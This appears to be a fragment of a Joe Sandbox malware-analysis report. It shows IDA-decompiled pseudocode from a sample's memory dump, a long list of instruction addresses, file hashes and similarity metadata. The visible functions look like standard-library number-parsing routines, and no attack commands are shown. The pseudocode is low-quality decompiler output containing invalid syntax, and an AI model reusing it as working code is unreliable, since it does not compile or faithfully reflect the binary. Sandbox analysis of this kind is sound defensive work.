							__eax =  *(__eax + __edx) & 0x000000ff;
							__edx = _v52;
							_t206 = __esi + 1; // 0x1
							__edi = _t206;
							_v112 = __al;
							__eax =  &_v44;
							__eflags = __edx -  &_v44;
							0xf =  !=  ? _v44 : 0xf;
							__eflags = __edi - ( !=  ? _v44 : 0xf);
							if(__edi > ( !=  ? _v44 : 0xf)) {
								 *(__esp + 0xc) = 1;
								__ecx =  &_v52;
								 *(__esp + 8) = 0;
								 *(__esp + 4) = 0;
								_v156 = __esi;
								__eax = E004B26D0( &_v52);
								__esp = __esp - 0x10;
								__edx = _v52;
							}
							__eax = _v112 & 0x000000ff;
							_v100 = _v100 + 1;
							 *(__edx + __esi) = __al;
							__eax = _v52;
							_v48 = __edi;
							 *((char*)(_v52 + __esi + 1)) = 0;
							__ecx = _a4;
							__eax =  *(__ecx + 8);
							__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
							if(__eax <  *((intOrPtr*)(__ecx + 0xc))) {
								goto L44;
							} else {
								goto L88;
							}
							L89:
							__eax =  *(__ecx + 8);
							__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
							if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
								 *__ecx =  *((intOrPtr*)( *__ecx + 0x24))();
							} else {
								__eax =  *__eax & 0x0000ffff;
							}
							__edx = 0;
							__eflags = __ax - 0xffff;
							if(__ax != 0xffff) {
								goto L30;
							} else {
								__edx = __edi;
								__eax = __esi;
								_a12 = 0;
								__eflags = __al - __dl;
								if(__al != __dl) {
									goto L31;
								}
								goto L93;
							}
						}
				}
			}

0x0045fc9f
0x0045fca2
0x0045fcaf
0x0045fcb7
0x0045fcc2
0x0045fcc5
0x0045fcc7
0x0045fccc
0x004607e7
0x004607ec
0x004607f5
0x004607fb
0x00460802
0x00460809
0x0046080d
0x00460814
0x0046081b
0x00460822
0x00460829
0x00460830
0x00460837
0x0046083e
0x00460845
0x0046084c
0x00460853
0x00460857
0x0046085a
0x0046085c
0x0046085f
0x0046086d
0x00460871
0x00460874
0x0046087b
0x0046087e
0x0046087e
0x0045fcd2
0x0045fcdb
0x0045fce0
0x0046044e
0x00460454
0x00460456
0x0045fce6
0x0045fce6
0x0045fce6
0x0045fced
0x0045fcf4
0x0045fcfa
0x0045fd02
0x0045fd04
0x0045fd0e
0x0045fd13
0x0045fd13
0x0045fd16
0x0045fd23
0x0045fd26
0x0045fd2d
0x0045fd31
0x0045fd36
0x0045fd39
0x0045fd40
0x0045fd43
0x0045fd4d
0x0045fd51
0x0045fd54
0x0045fd5a
0x0045fd60
0x0045fd67
0x0045fd71
0x0045fd78
0x004603f2
0x004603f2
0x004603f2
0x004603f4
0x004603f4
0x004603cd
0x004603cd
0x004603d1
0x0045fd97
0x0045fda2
0x00460888
0x0046088a
0x00460283
0x00460283
0x00460286
0x00460286
0x00460289
0x0046028f
0x00460292
0x0046029a
0x0046029c
0x0046029e
0x004602a1
0x004602a1
0x004602a1
0x004602a4
0x004602aa
0x004602ad
0x004602b0
0x004602b2
0x004602b4
0x004602b7
0x004602ba
0x004602bd
0x004602c2
0x004602c5
0x004602c5
0x004602c8
0x004602ce
0x004602d0
0x004602d2
0x004602d5
0x004602d8
0x004602db
0x004602e0
0x004602e3
0x004602ed
0x004602ed
0x00460890
0x00460894
0x0046056f
0x0046056f
0x00460573
0x00460578
0x0046057b
0x0046057d
0x00460588
0x00460590
0x00460598
0x0046059f
0x004605a4
0x004605a4
0x0046057b
0x004605aa
0x004605ac
0x004605ae
0x004605bc
0x004605c0
0x004605c3
0x004605c6
0x004605cb
0x004605ce
0x004605d4
0x004605db
0x004605e2
0x004605e5
0x004605ea
0x004605ec
0x004605ee
0x004605f1
0x004605f1
0x004605f1
0x004605ec
0x004605f4
0x004605f8
0x00460609
0x0046060f
0x00460612
0x00460617
0x00000000
0x004605fa
0x004605fa
0x00460600
0x00460603
0x00000000
0x00000000
0x00000000
0x00460603
0x004605f8
0x0046070e
0x0046070e
0x00460719
0x00460720
0x00460725
0x00460728
0x0046072a
0x00000000
0x00000000
0x00460730
0x00460733
0x00460736
0x00460933
0x00460933
0x00460936
0x00460939
0x00460953
0x00000000
0x00460953
0x0046093b
0x0046093d
0x00000000
0x00000000
0x00460943
0x0046073c
0x0046073e
0x00460748
0x0046074b
0x0046074f
0x00460754
0x00000000
0x00460754
0x0045fdac
0x0045fdaf
0x00460462
0x0045fdb5
0x0045fdb8
0x0045fdb8
0x0045fdbb
0x0045fdbf
0x0045fdc2
0x0045fe43
0x0045fe47
0x0045fe4f
0x0045fe51
0x0045fe53
0x0045fe59
0x0045fe5f
0x004608e2
0x0045fe65
0x0045fe65
0x0045fe65
0x0045fe68
0x0045fe6e
0x0045fe74
0x0045fe7b
0x0045fe7b
0x0045fe6e
0x0045fdd0
0x0045fde0
0x0045fde2
0x0045fde4
0x00000000
0x00000000
0x0045fdea
0x0045fdec
0x0046055c
0x0046055c
0x0046055f
0x00000000
0x00000000
0x00460565
0x00460569
0x00000000
0x00000000
0x00000000
0x00460569
0x0045fdf2
0x0045fdf5
0x00000000
0x00000000
0x0045fdfb
0x0045fdfe
0x0045fe04
0x0046061f
0x00460622
0x00460625
0x004608ec
0x0046062b
0x0046062b
0x0046062b
0x0046062e
0x00460632
0x00460638
0x00460638
0x00460632
0x0045fe17
0x00000000
0x0045fe1d
0x0045fe1d
0x0045fe20
0x0045fe26
0x004606d8
0x004606db
0x0045fe2c
0x0045fe2f
0x0045fe2f
0x0045fe32
0x0045fe37
0x0045fe3a
0x0045fe3f
0x00000000
0x0045fe3f
0x00460530
0x00460530
0x00460533
0x00460536
0x004608f6
0x0046053c
0x0046053c
0x0046053c
0x0046053f
0x00460541
0x00460545
0x00000000
0x0046054b
0x0046054b
0x0046054d
0x00460554
0x00460556
0x00000000
0x00000000
0x00000000
0x00460556
0x00460545
0x0045fe43
0x004603d7
0x004603d9
0x00000000
0x00000000
0x004603df
0x004603df
0x004603e6
0x004603e9
0x004603ec
0x00000000
0x00000000
0x00000000
0x004603ec
0x0045fd7e
0x0045fd7e
0x0045fd81
0x00000000
0x0045fd88
0x00000000
0x00000000
0x004600f4
0x004600f7
0x004600fd
0x00460105
0x00460107
0x004604ad
0x004604b4
0x004604b9
0x004604bc
0x004604bf
0x004604c1
0x004604c5
0x004604cc
0x004604cf
0x004604d2
0x004604d4
0x004604d6
0x00000000
0x00000000
0x004604dc
0x004604df
0x004604e4
0x004604e9
0x0045fd8d
0x0045fd91
0x00460119
0x00460119
0x0046011d
0x0046019d
0x0046019d
0x004601a1
0x004601a4
0x004601a9
0x004601a9
0x004601ab
0x004601ad
0x004601b3
0x004601b6
0x004601b9
0x004608ce
0x004601bf
0x004601bf
0x004601bf
0x004601c2
0x004601c4
0x004601c8
0x004601ce
0x004601d5
0x004601d5
0x004601c8
0x00460122
0x0046012d
0x00460132
0x00460132
0x00460134
0x00460136
0x00460400
0x00460403
0x00460406
0x004608c4
0x0046040c
0x0046040c
0x0046040c
0x0046040f
0x00460411
0x00460415
0x0046041b
0x00460422
0x00460422
0x00460415
0x0046013c
0x0046013e
0x00000000
0x00000000
0x00460144
0x00460147
0x0046014b
0x0046014d
0x0046014f
0x00460153
0x00460429
0x0046042c
0x0046042f
0x004608d8
0x00460435
0x00460435
0x00460435
0x00460438
0x0046043c
0x00460442
0x00460442
0x0046043c
0x00460153
0x0046015f
0x00460161
0x00460165
0x0046016c
0x0046016f
0x00460172
0x00460174
0x00000000
0x0046017a
0x0046017a
0x0046017d
0x00460180
0x00460183
0x004606cb
0x004606ce
0x00460189
0x00460189
0x00460189
0x0046018c
0x0046018c
0x00460194
0x00460199
0x00000000
0x00460199
0x00460174
0x00000000
0x0046019d
0x00000000
0x0045fd91
0x0046010d
0x0046010d
0x0046010f
0x00460113
0x00000000
0x00000000
0x00000000
0x00000000
0x0045ffd6
0x0045ffd9
0x0045ffdd
0x00460024
0x00460024
0x00460027
0x0046002a
0x0046002c
0x0046002f
0x00460032
0x004600b5
0x004600b5
0x004600b9
0x004600bc
0x004600be
0x004600c1
0x004600c1
0x004600c3
0x004600c5
0x004600cb
0x004600ce
0x004600d1
0x0046091f
0x00460921
0x004600d7
0x004600d7
0x004600d7
0x004600da
0x004600dc
0x004600e0
0x004600e6
0x004600ed
0x004600ed
0x004600e0
0x00460040
0x00460043
0x00460048
0x0046004b
0x0046004d
0x00460050
0x00460050
0x00460052
0x00460054
0x00460644
0x00460647
0x0046064a
0x00460929
0x0046092b
0x00460650
0x00460650
0x00460650
0x00460653
0x00460655
0x00460659
0x00000000
0x0046065f
0x0046065f
0x00460662
0x00460664
0x0046066b
0x0046066e
0x00460670
0x00460670
0x00460672
0x0046006a
0x0046006a
0x0046006e
0x00460071
0x00460075
0x00460077
0x00460079
0x004606a4
0x004606a7
0x004606aa
0x00460915
0x00460917
0x004606b0
0x004606b0
0x004606b0
0x004606b3
0x004606b7
0x004606bd
0x004606bd
0x004606b7
0x00460079
0x0046007f
0x00460082
0x00460085
0x00460089
0x00460681
0x00460681
0x00460683
0x00000000
0x00000000
0x00460689
0x0046068c
0x0046068f
0x00460692
0x00460697
0x0046069a
0x0046069c
0x00000000
0x0046069c
0x0046008f
0x00460092
0x00460095
0x00460098
0x004606e5
0x004606e8
0x0046009e
0x0046009e
0x0046009e
0x004600a1
0x004600a1
0x004600a4
0x004600a9
0x004600a9
0x004600ac
0x004600b1
0x00000000
0x004600b1
0x00460678
0x00460678
0x0046067b
0x00000000
0x00000000
0x00000000
0x0046067b
0x00460659
0x0046005a
0x0046005a
0x0046005d
0x00460060
0x00460062
0x00460062
0x00460064
0x00000000
0x00000000
0x00000000
0x00460064
0x004600b5
0x0045ffdf
0x0045ffe2
0x0045ffe6
0x0045ffe9
0x0045ffec
0x0045ffef
0x0045ffef
0x0045fff1
0x00000000
0x00000000
0x0045fff3
0x0045fff6
0x0046089f
0x004608a3
0x00000000
0x00000000
0x004608a9
0x004608ad
0x00000000
0x00000000
0x004608b3
0x004608b7
0x00000000
0x00000000
0x00000000
0x004608bd
0x0045fffc
0x00460001
0x00460004
0x00000000
0x00000000
0x0046000a
0x0046000e
0x00460010
0x00000000
0x00000000
0x00460012
0x00460014
0x00000000
0x00000000
0x0046001a
0x0046001e
0x00000000
0x00000000
0x00000000
0x00000000
0x0045ffa9
0x0045ffac
0x0045ffaf
0x0045ffb1
0x0046046a
0x0046046d
0x0046047b
0x0046047d
0x0046047f
0x0046079f
0x004607a6
0x004607ab
0x004607ae
0x004607b1
0x004607b4
0x00000000
0x00000000
0x004607ba
0x004607bd
0x004607c0
0x004607c3
0x004607c8
0x004607cd
0x004607d2
0x00000000
0x004607d2
0x00460485
0x00460485
0x00460488
0x0046048b
0x0046048d
0x004604f2
0x004604f2
0x004604f5
0x004604f8
0x004604fd
0x00460500
0x00460502
0x00460504
0x0046075c
0x00460763
0x00460768
0x0046076b
0x0046076e
0x00460771
0x00000000
0x00000000
0x00460777
0x0046077a
0x0046077d
0x00460780
0x00460783
0x00460788
0x0046078d
0x00460792
0x00460796
0x00000000
0x00460796
0x0046050a
0x0046050a
0x0046050d
0x00460510
0x00460512
0x0045ffc8
0x0045ffc8
0x0045ffcc
0x0045ffce
0x00000000
0x0045ffce
0x00460518
0x0046051b
0x0046051e
0x00460520
0x00000000
0x00000000
0x0046049d
0x0046049d
0x0046049f
0x004604a4
0x00000000
0x004604a4
0x0046048f
0x00460492
0x00460495
0x00460497
0x00000000
0x00000000
0x00000000
0x00460497
0x0045ffb7
0x0045ffba
0x0045ffbd
0x0045ffc0
0x0045ffc2
0x00000000
0x00000000
0x00000000
0x00000000
0x0045fe82
0x0045fe85
0x0045fe89
0x0045fe8c
0x0045fe90
0x0045fe90
0x0045fe90
0x0045fe94
0x0045fe97
0x0045fe99
0x0045fe9b
0x0045fe9e
0x0045fea0
0x0045fea0
0x0045fea2
0x0045fea4
0x004602f0
0x004602f3
0x004602f6
0x004606f0
0x004606f2
0x004602fc
0x004602fc
0x004602fc
0x004602ff
0x00460301
0x00460305
0x0046030b
0x00460312
0x00460312
0x00460305
0x0045feaa
0x0045fead
0x0045feb2
0x0045feb5
0x0045feb7
0x0045feba
0x0045feba
0x0045febc
0x0045febe
0x00000000
0x00000000
0x0045fec4
0x0045fec4
0x0045fec6
0x0045fec8
0x00460273
0x00460273
0x00460278
0x00460278
0x0046027b
0x0046027d
0x004603c8
0x004603ca
0x004603ca
0x00000000
0x004603ca
0x00000000
0x0046027d
0x0045fece
0x0045fece
0x0045fed1
0x0045fed5
0x0045fed7
0x0045fed9
0x0045fedd
0x00460320
0x00460323
0x00460326
0x00460706
0x0046032c
0x0046032c
0x0046032c
0x0046032f
0x00460333
0x00460339
0x00460339
0x00460333
0x0045fedd
0x0045fee3
0x0045fee6
0x0045fee9
0x0045fef0
0x0045fef0
0x0045fef3
0x00000000
0x00000000
0x0045fef9
0x0045fefc
0x0045fefe
0x00000000
0x00000000
0x0045ff00
0x0045ff03
0x0045ff06
0x0045ff0a
0x0045ff0d
0x0045ff0d
0x0045ff10
0x004603a1
0x004603a4
0x004603a7
0x004603a9
0x0046095b
0x00000000
0x0046095b
0x004603af
0x004603b2
0x004603b6
0x004603bd
0x0045ff81
0x0045ff81
0x0045ff84
0x0045ff87
0x0045ff8a
0x00460238
0x0046023a
0x0046023d
0x0045ff96
0x0045ff96
0x0045ff9b
0x0045ff9f
0x00000000
0x0045ff9f
0x0045ff90
0x0045ff90
0x0045ff90
0x0045ff93
0x00000000
0x0045ff93
0x0045ff16
0x0045ff19
0x0045ff1d
0x0045ff1f
0x0045ff21
0x00460905
0x00000000
0x00460905
0x0045ff27
0x0045ff2b
0x00000000
0x00000000
0x0045ff31
0x0045ff35
0x0046090c
0x00000000
0x0046090c
0x0045ff3b
0x0045ff3e
0x0045ff40
0x004608fe
0x00000000
0x004608fe
0x0045ff46
0x0045ff49
0x0045ff4c
0x0045ff4f
0x0045ff52
0x0045ff54
0x0045ff59
0x0045ff59
0x0045ff5c
0x0045ff60
0x0045ff62
0x00460373
0x0046037b
0x0046037e
0x00460386
0x0046038e
0x00460391
0x00460396
0x00460399
0x00460399
0x0045ff68
0x0045ff6c
0x0045ff73
0x0045ff76
0x0045ff79
0x0045ff7c
0x00000000
0x0045ff7c
0x004601e0
0x004601e3
0x004601e8
0x004601eb
0x004601ed
0x004601f0
0x004601f4
0x004601f7
0x004601f7
0x004601fa
0x004601fd
0x00460200
0x00460207
0x0046020b
0x0046020d
0x00460345
0x0046034d
0x00460350
0x00460358
0x00460360
0x00460363
0x00460368
0x0046036b
0x0046036b
0x00460213
0x00460217
0x0046021b
0x0046021e
0x00460221
0x00460224
0x00460229
0x0046022c
0x0046022f
0x00460232
0x00000000
0x00000000
0x00000000
0x00000000
0x00460245
0x00460245
0x00460248
0x0046024b
0x004606fc
0x00460251
0x00460251
0x00460251
0x00460254
0x00460256
0x0046025a
0x00000000
0x00460260
0x00460260
0x00460262
0x00460264
0x0046026b
0x0046026d
0x00000000
0x00000000
0x00000000
0x0046026d
0x0046025a
0x00000000

Strings

-, xrefs: 0046057D

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memcpy
String ID: -
API String ID: 3510742995-2547889144
Opcode ID: 2c3dd00a557a578e4d13d0695f3320370e940e264be92dca2bfdd9fa2aec0336
Instruction ID: d94d49997d03fc9f9cf8628d4d673071ffb6b74cbd841f9efe05d9c2a5da5590
Opcode Fuzzy Hash: 2c3dd00a557a578e4d13d0695f3320370e940e264be92dca2bfdd9fa2aec0336
Instruction Fuzzy Hash: D7726B749002188FCB14DF68C1947AEBBF1BF05314F15855AE8499F392E739ED8ACB86

Uniqueness

Uniqueness Score: -1.00%

Function 004673E0 Relevance: 2.0, APIs: 1, Instructions: 732
COMMONCrypto

Download Yara Rule

C-Code - Quality: 28%

			E004673E0(signed int __edx, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int* _a24, signed int* _a28) {
				void* _v16;
				void _v44;
				signed int _v48;
				char _v52;
				void* _v53;
				intOrPtr _v64;
				signed int _v68;
				signed int _v69;
				signed int _v70;
				signed int _v71;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				int _v88;
				intOrPtr _v92;
				signed int _v96;
				void* _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				char _v113;
				signed char _v132;
				signed int _v136;
				signed int _v140;
				char _v144;
				signed int _t384;
				signed char _t386;
				signed int _t395;
				signed int _t402;
				signed char* _t404;
				signed int _t406;
				signed int* _t408;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t417;
				signed int _t420;
				void* _t421;
				signed int _t425;
				signed int _t426;
				void* _t429;
				signed char* _t431;
				signed int _t433;
				void* _t435;
				signed int _t442;
				void* _t444;
				char _t445;
				intOrPtr _t453;
				void* _t457;
				signed char* _t459;
				signed int _t461;
				void* _t464;
				signed int _t469;
				void* _t471;
				signed int _t472;
				signed int _t473;
				signed int _t475;
				signed int _t476;
				signed int _t478;
				signed int _t479;
				signed int _t482;
				int _t485;
				signed char* _t488;
				signed int _t490;
				void* _t492;
				signed int _t493;
				signed int _t494;
				intOrPtr _t495;
				signed int _t499;
				signed char* _t504;
				signed int _t506;
				void* _t508;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t513;
				int _t515;
				signed int _t517;
				signed int _t522;
				intOrPtr* _t527;
				intOrPtr* _t528;
				signed int _t531;
				void* _t532;
				void* _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				signed int _t540;
				signed int _t542;
				void* _t543;
				signed int _t544;
				intOrPtr* _t545;
				signed int _t546;
				intOrPtr* _t550;
				signed int _t551;
				intOrPtr* _t552;
				signed int _t553;
				intOrPtr* _t554;
				signed char _t556;
				intOrPtr* _t557;
				signed int _t558;
				signed int _t560;
				signed int _t562;
				signed int _t563;
				signed int _t564;
				signed int _t566;
				signed int _t567;
				signed char _t568;
				signed int _t570;
				signed int _t578;
				signed char _t582;
				signed int _t583;
				signed int* _t585;
				signed char _t588;
				signed char _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed char _t594;
				void* _t595;
				void* _t597;

				_t558 = __edx;
				_t582 = 8;
				_t510 = _a20;
				_v140 = _t510 + 0x6c;
				_v68 = E0044E1C0(__eflags);
				_t597 = _t595 - 0x78;
				_t384 =  *(_t510 + 0xc) & 0x0000004a;
				_t590 = _t384;
				if(_t384 != 0x40) {
					_t384 = 0xa;
					_t582 =  !=  ? 0xa : 0x10;
				}
				_t527 = _a4;
				_t511 = _t510 & 0xffffff00 | _a8 == 0xffffffff;
				_t560 = (_t558 & 0xffffff00 | _t527 != 0x00000000) & _t511;
				if(_t560 != 0) {
					_t511 = 0;
					_t384 =  *(_t527 + 0xc);
					__eflags =  *((intOrPtr*)(_t527 + 8)) - _t384;
					if( *((intOrPtr*)(_t527 + 8)) >= _t384) {
						_v69 = _t560;
						_t384 =  *((intOrPtr*)( *_t527 + 0x24))();
						_t560 = _v69 & 0x000000ff;
						__eflags = _t384 - 0xffffffff;
						if(_t384 == 0xffffffff) {
							_a4 = 0;
							_t511 = _t560;
						}
					}
				}
				_t528 = _a12;
				_t561 = _t560 & 0xffffff00 | _a16 == 0xffffffff;
				_t386 = (_t384 & 0xffffff00 | _t528 != 0x00000000) & _t561;
				_v69 = _t386;
				if(_t386 != 0) {
					_t561 = 0;
					__eflags =  *((intOrPtr*)(_t528 + 8)) -  *((intOrPtr*)(_t528 + 0xc));
					if( *((intOrPtr*)(_t528 + 8)) >=  *((intOrPtr*)(_t528 + 0xc))) {
						_v76 = 0;
						_t508 =  *((intOrPtr*)( *_t528 + 0x24))();
						_t561 = _v76 & 0x000000ff;
						__eflags = _t508 - 0xffffffff;
						if(_t508 == 0xffffffff) {
							_a12 = 0;
							_t561 = _v69 & 0x000000ff;
						}
					}
				}
				if(_t561 == _t511) {
					_v113 = 0;
					_t512 = 0;
					_v70 = 1;
					_v76 = 0;
					_v69 = 0;
					goto L14;
				} else {
					_t512 = _a8;
					_t550 = _a4;
					if(_t512 == 0xffffffff && _t550 != 0) {
						_t504 =  *(_t550 + 8);
						__eflags = _t504 -  *((intOrPtr*)(_t550 + 0xc));
						if(_t504 >=  *((intOrPtr*)(_t550 + 0xc))) {
							_t506 =  *((intOrPtr*)( *_t550 + 0x24))();
							__eflags = _t506 - 0xffffffff;
							if(_t506 == 0xffffffff) {
								_a4 = 0;
								_t512 = 0xffffffff;
							} else {
								_t512 = _t506;
							}
						} else {
							_t512 =  *_t504 & 0x000000ff;
						}
					}
					_t551 = _v68;
					_t472 =  *(_t551 + 0x10) & 0x000000ff;
					_t24 =  &_v113;
					 *_t24 = ( *(_t551 + 0x4a) & 0x000000ff) == _t512;
					if( *_t24 == 0 ||  *((intOrPtr*)(_t551 + 0x4b)) == _t512) {
						if(_t472 != 0) {
							_t578 = _v68;
							__eflags =  *((intOrPtr*)(_t578 + 0x25)) - _t512;
							if( *((intOrPtr*)(_t578 + 0x25)) != _t512) {
								goto L10;
							} else {
								goto L45;
							}
						}
						L10:
						_t561 = _v68;
						if( *((intOrPtr*)(_t561 + 0x24)) == _t512) {
							goto L45;
						}
						_t557 = _a4;
						_t495 =  *((intOrPtr*)(_t557 + 8));
						if(_t495 >=  *((intOrPtr*)(_t557 + 0xc))) {
							 *((intOrPtr*)( *_t557 + 0x28))();
						} else {
							 *((intOrPtr*)(_t557 + 8)) = _t495 + 1;
						}
						_t551 =  &_a4;
						_a8 = 0xffffffff;
						_v140 =  &_a12;
						_t499 = E00450A90( &_a12, _t551, _t561);
						_v76 = 0;
						_t597 = _t597 - 4;
						_v70 = _t499;
						_v69 = 0;
						if(_t499 == 0) {
							_t512 = E00450B30( &_a4, _a8);
							_t472 =  *(_v68 + 0x10) & 0x000000ff;
							goto L45;
						} else {
							goto L14;
						}
					} else {
						_v113 = 0;
						L45:
						_v76 = 0;
						_t561 = _t590;
						_t594 = _t582;
						_v69 = 0;
						_t588 = _t561;
						goto L46;
						L47:
						_t494 = _v68;
						__eflags =  *((intOrPtr*)(_t494 + 0x25)) - _t512;
						if( *((intOrPtr*)(_t494 + 0x25)) == _t512) {
							L101:
							_t582 = _t594;
							_v70 = 0;
							L14:
							_v88 = 0x16;
							if(_t582 == 0x10) {
								L16:
								_v48 = 0;
								_v52 =  &_v44;
								_v44 = 0;
								if( *(_v68 + 0x10) != 0) {
									_v140 = 0x20;
									E004B2380( &_v52);
									_t597 = _t597 - 4;
								}
								_v108 = 0;
								_v104 = 0x80000000;
								if(_v113 == 0) {
									_v108 = 0xffffffff;
									_v104 = 0x7fffffff;
								}
								_v132 = _t582;
								asm("cdq");
								_v84 = _t582;
								_v80 = _t561;
								 *(_t597 + 0xc) = _t561;
								_t562 = _v104;
								_v140 = _v108;
								_v136 = _t562;
								_v92 = E004386D0();
								_v96 = _t562;
								_t395 =  *(_v68 + 0x64) & 0x000000ff;
								_v71 = _t395;
								if(_t395 != 0) {
									__eflags = _v70;
									if(_v70 != 0) {
										_t513 = _v48;
										_t591 = 0;
										_t583 = 0;
										_v72 = 0;
										_v71 = _v70 & 0x000000ff;
										_v70 = 0;
										L34:
										if(_t513 != 0) {
											L75:
											_v140 = _v76;
											E004B2860( &_v52);
											_t563 = _v68;
											_v136 =  &_v52;
											_v140 =  *((intOrPtr*)(_t563 + 0xc));
											_v144 =  *((intOrPtr*)(_t563 + 8));
											_t402 = E004BE6E0();
											__eflags = _t402;
											if(_t402 == 0) {
												 *_a24 = 4;
											}
											__eflags = _v69;
											if(_v69 != 0) {
												L78:
												__eflags = _v70;
												if(_v70 != 0) {
													goto L37;
												} else {
													__eflags = _v72;
													if(_v72 == 0) {
														__eflags = _v113;
														if(_v113 != 0) {
															_t591 =  ~_t591;
															asm("adc edi, 0x0");
															_t583 =  ~_t583;
														}
														_t408 = _a28;
														 *_t408 = _t591;
														_t408[1] = _t583;
													} else {
														_t409 = 0;
														__eflags = _v113;
														_t566 = 0x80000000;
														if(_v113 == 0) {
															_t409 = 0xffffffff;
															_t566 = 0x7fffffff;
														}
														_t585 = _a28;
														 *_t585 = _t409;
														_t585[1] = _t566;
														 *_a24 = 4;
													}
													goto L38;
												}
											} else {
												__eflags = _v76 | _v48;
												if((_v76 | _v48) == 0) {
													L37:
													_t404 = _a28;
													 *_t404 = 0;
													_t404[4] = 0;
													 *_a24 = 4;
													L38:
													if(_v71 != 0) {
														 *_a24 =  *_a24 | 0x00000002;
													}
													_t531 = _v52;
													_t406 = _a4;
													_t564 = _a8;
													if(_t531 !=  &_v44) {
														_v140 = _t531;
														_v68 = _t406;
														_v64 = _t564;
														L004C33F0();
														_t406 = _v68;
													}
													return _t406;
												}
												goto L78;
											}
										}
										L35:
										if(_v76 != 0 || _v69 == 1) {
											goto L78;
										} else {
											goto L37;
										}
									}
									_v72 = 0;
									_t591 = 0;
									_t583 = 0;
									_t415 = _v68 + 0x4e;
									__eflags = _t415;
									_v100 = _t415;
									while(1) {
										_t567 = _v68;
										_t416 =  *(_t567 + 0x10) & 0x000000ff;
										__eflags = _t416;
										if(_t416 == 0) {
											goto L106;
										}
										__eflags =  *((intOrPtr*)(_t567 + 0x25)) - _t512;
										if( *((intOrPtr*)(_t567 + 0x25)) == _t512) {
											_t570 = _v76;
											_t513 = _v48;
											__eflags = _t570;
											if(_t570 == 0) {
												_v71 = 0;
												_v70 = _t416;
												goto L34;
											}
											_t445 = _v52;
											_v76 = _t570;
											_t299 = _t513 + 1; // 0x1
											_t537 = _t299;
											_v112 = _t537;
											__eflags = _t445 -  &_v44;
											_t573 =  !=  ? _v44 : 0xf;
											__eflags = _t537 - ( !=  ? _v44 : 0xf);
											if(_t537 > ( !=  ? _v44 : 0xf)) {
												 *(_t597 + 0xc) = 1;
												_v132 = 0;
												_v136 = 0;
												_v140 = _t513;
												E004B26D0( &_v52);
												_t597 = _t597 - 0x10;
												_t445 = _v52;
											}
											_v76 = 0;
											 *((char*)(_t445 + _t513)) = _v76 & 0x000000ff;
											_t567 = _v112;
											_v48 = _t567;
											 *((char*)(_v52 + _t567)) = 0;
											L110:
											_t534 = _a4;
											_t425 =  *(_t534 + 8);
											__eflags = _t425 -  *((intOrPtr*)(_t534 + 0xc));
											if(_t425 >=  *((intOrPtr*)(_t534 + 0xc))) {
												L117:
												 *((intOrPtr*)( *_t534 + 0x28))();
												_t534 = _a4;
												_a8 = 0xffffffff;
												__eflags = _t534;
												if(_t534 != 0) {
													L112:
													_v112 = 0;
													__eflags =  *(_t534 + 8) -  *((intOrPtr*)(_t534 + 0xc));
													if( *(_t534 + 8) >=  *((intOrPtr*)(_t534 + 0xc))) {
														_t429 =  *((intOrPtr*)( *_t534 + 0x24))();
														_v112 = 0;
														__eflags = _t429 - 0xffffffff;
														if(_t429 == 0xffffffff) {
															_a4 = 0;
															_v112 = _v71 & 0x000000ff;
														}
													}
													L113:
													_t535 = _a12;
													__eflags = _a16 - 0xffffffff;
													_t568 = _t567 & 0xffffff00 | _a16 == 0xffffffff;
													__eflags = _t535;
													_t517 = (_t515 & 0xffffff00 | _t535 != 0x00000000) & _t568;
													__eflags = _t517;
													if(_t517 != 0) {
														_t568 = 0;
														__eflags =  *((intOrPtr*)(_t535 + 8)) -  *((intOrPtr*)(_t535 + 0xc));
														if( *((intOrPtr*)(_t535 + 8)) >=  *((intOrPtr*)(_t535 + 0xc))) {
															_t435 =  *((intOrPtr*)( *_t535 + 0x24))();
															_t568 = 0;
															__eflags = _t435 - 0xffffffff;
															if(_t435 == 0xffffffff) {
																_a12 = 0;
																_t568 = _t517;
															}
														}
													}
													__eflags = _t568 - _v112;
													if(_t568 != _v112) {
														_t536 = _a4;
														_t512 = _a8;
														__eflags = _t536;
														if(_t536 != 0) {
															__eflags = _t512 - 0xffffffff;
															if(_t512 == 0xffffffff) {
																_t431 =  *(_t536 + 8);
																__eflags = _t431 -  *((intOrPtr*)(_t536 + 0xc));
																if(_t431 >=  *((intOrPtr*)(_t536 + 0xc))) {
																	_t433 =  *((intOrPtr*)( *_t536 + 0x24))();
																	_t512 = _t433;
																	__eflags = _t433 - 0xffffffff;
																	if(_t433 == 0xffffffff) {
																		_a4 = 0;
																		_t512 = 0xffffffff;
																	}
																} else {
																	_t512 =  *_t431 & 0x000000ff;
																}
															}
														}
														continue;
													} else {
														_t513 = _v48;
														goto L34;
													}
												}
												_v112 = _v71 & 0x000000ff;
												goto L113;
											}
											L111:
											_t426 = _t425 + 1;
											__eflags = _t426;
											_a8 = 0xffffffff;
											 *(_t534 + 8) = _t426;
											goto L112;
										}
										L106:
										_t417 = _v68;
										__eflags = _t512 -  *((intOrPtr*)(_t417 + 0x24));
